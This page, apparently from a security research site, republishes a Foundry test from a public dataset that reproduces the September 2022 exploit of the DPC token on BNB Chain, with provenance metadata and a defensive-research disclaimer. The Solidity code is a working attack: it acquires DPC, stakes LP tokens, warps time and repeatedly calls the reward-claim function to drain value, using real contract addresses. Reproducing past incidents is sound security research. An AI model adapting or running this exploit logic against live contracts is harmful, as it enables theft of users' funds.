Skip to content
THREATWIRE

Public reproduction file

src/test/2022-09/DPC_exp.sol

Public reproduction file for dataset entry DPC.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2022-09/DPC_exp.sol101 lines
1pragma solidity ^0.8.10;
2
3import "forge-std/Test.sol";
4import "./../interface.sol";
5
6interface IPair {
7 function approve(address, uint256) external;
8 function balanceOf(
9 address
10 ) external returns (uint256);
13interface IDPC {
14 function approve(address, uint256) external;
15 function balanceOf(
16 address
17 ) external returns (uint256);
18 function tokenAirdrop(address, address, uint256) external;
19 function stakeLp(address, address, uint256) external;
20 function claimStakeLp(address, uint256) external;
21 function claimDpcAirdrop(
22 address
23 ) external;
26contract ContractTest is Test {
27 IDPC DPC = IDPC(0xB75cA3C3e99747d0e2F6e75A9fBD17F5Ac03cebE);
28 IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
29 IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);
30 IPair Pair = IPair(0x79cD24Ed4524373aF6e047556018b1440CF04be3);
31 IPancakeRouter Router = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
32 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
34 function setUp() public {
35 cheats.createSelectFork("bsc", 21_179_209);
36 }
38 function testExploit() external {
39 emit log_named_decimal_uint("[Start] Attacker WBNB balance before exploit", WBNB.balanceOf(address(this)), 18);
41 DPC.approve(address(Router), ~uint256(0));
42 USDT.approve(address(DPC), ~uint256(0));
43 USDT.approve(address(Router), ~uint256(0));
44 Pair.approve(address(DPC), ~uint256(0));
45 WBNB.approve(address(Router), ~uint256(256));
47 address(WBNB).call{value: 2 ether}("");
48 WBNBToUSDT();
49 USDTToDPC();
50 DPC.tokenAirdrop(address(this), address(DPC), 100);
51 addDPCLiquidity();
52 DPC.stakeLp(address(this), address(DPC), Pair.balanceOf(address(this)));
54 cheats.warp(block.timestamp + 24 * 60 * 60); //spend time
56 for (uint256 i = 0; i < 9; i++) {
57 DPC.claimStakeLp(address(this), 1);
58 }
59 DPC.claimDpcAirdrop(address(this));
60 DPCToWBNB();
62 emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
63 }
65 function WBNBToUSDT() public {
66 address[] memory path = new address[](2);
67 path[0] = address(WBNB);
68 path[1] = address(USDT);
69 Router.swapExactTokensForTokens(WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp);
70 }
72 function USDTToDPC() public {
73 address[] memory path = new address[](2);
74 path[0] = address(USDT);
75 path[1] = address(DPC);
76 Router.swapExactTokensForTokens(USDT.balanceOf(address(this)) / 2, 0, path, address(this), block.timestamp);
77 }
79 function addDPCLiquidity() public {
80 Router.addLiquidity(
81 address(USDT),
82 address(DPC),
83 USDT.balanceOf(address(this)),
84 DPC.balanceOf(address(this)),
85 0,
86 0,
87 address(this),
88 block.timestamp
89 );
90 }
92 function DPCToWBNB() public {
93 address[] memory path = new address[](3);
94 path[0] = address(DPC);
95 path[1] = address(USDT);
96 path[2] = address(WBNB);
97 Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
98 DPC.balanceOf(address(this)), 0, path, address(this), block.timestamp
99 );
100 }

Analysis

Dataset entry

Public Foundry test for “DPC” (2022-09-09). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

File record

Name
DPC
Path
src/test/2022-09/DPC_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
72cd73f7f013d6d97e275d6871aefb8d2a85848c
Language
Solidity
Size
102 lines
Date
2022-09-09
Licence
ThreatWire editorial text
Retrieved
2026-10-19

Provenance

Path src/test/2022-09/DPC_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 72cd73f7f013d6d97e275d6871aefb8d2a85848c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.